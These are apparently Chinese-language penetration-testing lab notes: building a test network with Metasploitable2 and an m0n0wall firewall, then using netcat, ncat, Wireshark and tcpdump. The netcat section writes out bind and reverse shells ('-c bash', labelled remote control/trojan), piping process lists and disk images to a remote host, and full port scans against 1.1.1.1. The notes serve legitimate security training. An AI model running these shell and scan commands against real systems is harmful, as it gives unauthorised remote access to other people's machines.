渗透测试-环境(1)
代理
- TOR
- GoAgent Gtk
实验环境
linux虚拟机(ether pad)
http://www.turnkeylinux.org
测试用虚拟机系统Ubuntu:
下载Ubuntu Server的ISO文件
LAMP安装:(Linux,Apache,Mysql,Python/PHP)
· 网络选桥接
· 安装ssh
· 用Putty连接IP,安装lamp
Metasploitable2
https://www.metasploit.com/
- 问题:/var/www/mutillidae/config.inc
- $dbname=’owasp10’
- 教程:https://www.fujieace.com/metasploit/tutorials.html
模拟真实网络
M0n0wall防火墙
http://m0n0.ch/wall/downloads.php
metasploit资源占用的非常的少
m0n0安装命令
m0n0wall console setup
-
Interfaces: assign network ports //接口:分配网络端口
-
Set up LAN IP address //建立局域网IP地址
-
Reset web GUI password //web GUI重置密码
-
Rest to factory defaults //其他工厂默认值
-
Reboot system //重新启动系统
-
Ping host //Ping主机
-
Install on Hard Drive //安装在硬盘上
Enter a number: 7
do you want to proceed? (y/n) y
取消硬盘m0n0wall_1.8.1.iso
重启
m0n0wall console setup
-
Interfaces: assign network ports //接口:分配网络端口
-
Set up LAN IP address //建立局域网IP地址
-
Reset web GUI password //web GUI重置密码
-
Rest to factory defaults //其他工厂默认值
-
Reboot system //重新启动系统
-
Ping host //Ping主机
-
Install on Hard Drive //安装在硬盘上
Enter a number: 1
do you want to set up VLANs nows? (y/n)
Enter the parent interface name for the new VLAN (or nothing if finished):em0
Enter the VLAN tag (1-4091): 10
Enter the parent interface name for the new VLAN (or nothing if finished):em1
Enter the VLAN tag (1-4091): 11
Enter the parent interface name for the new VLAN (or nothing if finished):em2
Enter the VLAN tag (1-4091): 12
回车
Enter the LAN interface name or ‘a’ for auto-detection: em1
Enter the WAN interface name or ‘a’ for auto-detection: em0
Enter the Optional 1 interface name or ‘a’ for auto-detection for nothing if finshed): em2
回车
The interface will be assigned as follows:
LAN -> em1
WAN -> em0
OPT1 -> em2
The firewall will reboot after saving the changes.
do you want to proceed? (y/n) y
The firewall is rebooting now.
重启
m0n0wall console setup
-
Interfaces: assign network ports //接口:分配网络端口
-
Set up LAN IP address //建立局域网IP地址
-
Reset web GUI password //web GUI重置密码
-
Rest to factory defaults //其他工厂默认值
-
Reboot system //重新启动系统
-
Ping host //Ping主机
-
Install on Hard Drive //安装在硬盘上
Enter a number: 2
Enter the new LAN IP address: 10.1.1.10
Subnet masks are entered as bit counts (as in CIDR notation) in m0n0wall.
e.g. 255.255.255.0= 24
255.255.0.0 = 16
255.0.0.0 = 8
Enter the new LAN subnet bit count: 24
DO you want to enable the DHCP server on LAN (y/n) y
Enter the start address of the clinet address range: 10.1.1.20
Enter the end address of the client address range: 10.1.1.100
m0n0wall console setup
-
Interfaces: assign network ports //接口:分配网络端口
-
Set up LAN IP address //建立局域网IP地址
-
Reset web GUI password //web GUI重置密码
-
Rest to factory defaults //其他工厂默认值
-
Reboot system //重新启动系统
-
Ping host //Ping主机
-
Install on Hard Drive //安装在硬盘上
Enter a number: 3
do you wnat to proceed? (y/n) y
Description OPT1
IP address 10.1.2.10/24
设置防火墙规则
pules------> “+”------>
Protocol: any
Source: LAN subnet
保存
WAN------>勾选"Block private networks"
背靠背防火墙
- Pfsense: http://pfsense.org/
基本工具使用
NC/ncat
- 网络工具中的瑞士军刀-小身材、大智慧
- 侦听模式/传输模式
- telnet/获取banner信息
- nc -nv 1.1.1.1 110 邮件服务器
- nc -nv 1.1.1.1 25 邮件服务器
- nc -nv 1.1.1.1 80 web服务器
- 传输文本信息
- A: nc -l -p 4444 服务端:开端口
- B: nc -nv 1.1.1.1 4444 客户端:连接服务器
- 远程电子取证信息收集
- 消息传输
- 远程终端
- 传输文件/目录
- 传输文件1
- A: nc -l -p 333 > ps.txt 服务端:接受信息
- B: ps aux | nc -nv 1.1.1.1 333 -q 1 客户端:发送信息
- B: nc -nv 1.1.1.1 333 < ps.txt -q 1 客户端:发送文件
- 传输文件2
- A: nc -q 1 -lp 333 < ps.txt 服务端:发送文件
- B: nc -nv 1.1.1.1 333 > ps.txt 客户端:接受文件
- 传输目录
- A: tar -cvf - music/ | nc -lp 333 -q 1 服务端:发送目录
- B: nc -nv 1.1.1.1 333 | tar -xvf - 客户端:接受目录
- 传输文件1
- 加密传输文件
- A: nc -l -p 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > ps.txt 服务端:接受文件
- B: mcrypt --flush -Fbd -a rijndael-256 -m ecb < ps.txt | nc -nv 1.1.1.1 333 -q 1 客户端:发送文件
- 远程控制/木马
- 远程控制1
- A: nc -l -p 4444 服务端:开端口
- B: nc -nv 1.1.1.1 4444 客户端:连接服务器
- 远程控制-正向
- A: nc -lp 333 -c bash
- B: nc 1.1.1.1 333
- 远程控制-反向
- A: nc -lp 333
- B: nc 1.1.1.1 333 -c bash
- 注意:windows用户把bash改为cmd;
- 远程控制1
- 加密所有流量
- 流媒体服务器
- A: cat 1.mp4 | nc -lp 333 服务端:发送
- B: nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 - 客户端:接收
- 远程克隆硬盘
- A: nc -lp 333 | dd of=/dev/sda 服务端:目标盘
- B: dd if=/dev/sdb | nc -nv 1.1.1.1 333 -q 1 客户端:接收盘
- 远程电子取证,可以将目标服务器硬盘远程复制,或内存。
- 端口扫描
- nc -nvz 1.1.1.1 1-65535
- nc -nvzu 1.1.1.1 1-1024
- NCAT
- NC缺乏加密和身份验证的能力
- Nca包含于nmap工具包中
- A: ncat -c bash --allow 1.1.1.1 -vnl 333 --ssl
- B: ncat -vn 1.1.1.1 333 --ssl
- 不同系统/平台nc参数功能不尽相同
Wireshark
- 抓包嗅探协议分析
- 安全专家必备技能
- 抓包引擎
- libpcap9 — linux
- winpcap10 — Windows
- 解码能力
- 常见协议包
- 数据包的分层结构
- arp
- lcmp
- tcp – 三次握手
- 数据流
- http
- smtp
- pop3
- ssl
- 数据流
- udp
- dns
- http
- https
- ftp
- 信息统计
- 节点数
- 协议分布
- 包大小分布
- 会话连接
- 解码方式
- 专家系统
- 实践
- 抓包对比nc、ncat加密与不加密的流量
- 企业抓包部署方案
- sniffer
- cace/riverbed
Tcpdump
- no-gui的抓包分析工具
- linux、unix系统默认安装
- 抓包
- 默认只抓68个字节
- tcpdump -i eth0 -s 0 -w file.pcap
- tcpdump -i eth0 port 22
- 读取抓包文件
- tcpdump -r file.pcap
- 筛选
- tcpdump -n -r http.cap | awk
{print $3}
| sort -u - tcpdump -n src host 1.1.1.1 -r http.cap
- tcpdump -n dst host 1.1.1.1 -r http.cap
- tcpdump -n port 53 -r http.cap
- tcpdump -nX port 80 -r http.cap
- tcpdump -n -r http.cap | awk
- 高级筛选
- tcpdump -A -n ‘tcp[13] = 24’ -r http.cap
过程文档记录
Dradis
- 短期临时小团队资源共享
- 各种插件导入文件
keepnote
truecrypt
- 加密工具
- 过时